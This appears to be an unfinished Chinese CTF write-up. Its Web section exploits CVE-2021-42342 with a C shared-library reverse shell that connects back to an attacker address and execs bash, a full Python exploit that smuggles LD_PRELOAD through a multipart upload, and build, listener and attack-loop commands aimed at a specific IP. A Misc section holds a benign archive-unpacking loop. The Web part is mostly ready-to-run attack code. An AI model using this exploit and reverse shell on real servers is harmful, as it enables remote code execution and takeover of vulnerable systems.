[施工中，待后续补充]

Web

gogogo

看dockefile，查阅可知是CVE-2021-42342
参考p神文章 https://tttang.com/archive/1399/
payload.c

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>

char *server_ip="xx.xx.xx.xx";
uint32_t server_port=7777;

static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void) 
{
  int sock = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in attacker_addr = {0};
  attacker_addr.sin_family = AF_INET;
  attacker_addr.sin_port = htons(server_port);
  attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
  if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
    exit(0);
  dup2(sock, 0);
  dup2(sock, 1);
  dup2(sock, 2);
  char *argv[]={"cat","/flag", NULL};
  char *envp[]={0,NULL};
  execve("/bin/cat", argv, envp);
  execve("/bin/bash", 0, 0);
}

poc.py

import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult

PAYLOAD_MAX_LENGTH = 16384 - 200

def exploit(client, parts: ParseResult, payload: bytes):
    path = '/' if not parts.path else parts.path
    boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
    padding = 'a' * 2000
    content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
    data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}

--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";

/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain

#payload#{padding}
--{boundary}--
'''.replace('\n', '\r\n')
    data = data.encode().replace(b'#payload#', payload)
    client.send(data)
    resp = client.recv(20480)
    print(resp.decode())

def main():
    target = sys.argv[1]
    payload_filename = sys.argv[2]

    with open(payload_filename, 'rb') as f:
        data = f.read()

    if len(data) > PAYLOAD_MAX_LENGTH:
        raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)

    parts = urlparse(target)
    port = parts.port
    if not parts.port:
        if parts.scheme == 'https':
            port = 443
        else:
            port = 80

    context = ssl.create_default_context()
    with socket.create_connection((parts.hostname, port), timeout=8) as client:
        if parts.scheme == 'https':
            with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
                exploit(ssock, parts, data)

        else:
            exploit(client, parts, data)

if __name__ == '__main__':
    main()

gcc -s -shared -fPIC ./payload.c -o shell.so
nc -lvnp 7777
while true; do python3 poc.py http://123.60.84.229:10218/cgi-bin/hello shell.so; done;

Misc

signin

循环嗯解压缩包

while :
do
    file=$(file ./bbb/flag | grep bzip2)
    if [ -n "$file" ];
    then
        mv /root/work/aaa/bbb/flag /root/work/aaa/bbb/flag.bz2
        bunzip2 /root/work/aaa/bbb/flag.bz2
    fi
    file=$(file ./bbb/flag | grep XZ)
    if [ -n "$file" ];
    then
        7z x /root/work/aaa/bbb/flag -o/root/work/aaa/bbb
        rm /root/work/aaa/bbb/flag
        mv /root/work/aaa/bbb/flag~ /root/work/aaa/bbb/flag
    fi
    file=$(file ./bbb/flag | grep LZMA)
    if [ -n "$file" ];
    then
        mv /root/work/aaa/bbb/flag /root/work/aaa/bbb/flag.lzma
        lzma -d /root/work/aaa/bbb/flag.lzma
    fi
    file=$(file ./bbb/flag | grep gzip)
    if [ -n "$file" ];
    then
        mv /root/work/aaa/bbb/flag /root/work/aaa/bbb/flag.gz
        gzip -d /root/work/aaa/bbb/flag.gz
    fi
    file=$(file ./bbb/flag | grep Zstandard)
    if [ -n "$file" ];
    then
        mv /root/work/aaa/bbb/flag /root/work/aaa/bbb/flag.zst
        zstd -d /root/work/aaa/bbb/flag.zst
        rm /root/work/aaa/bbb/flag/flag.zst
    fi
done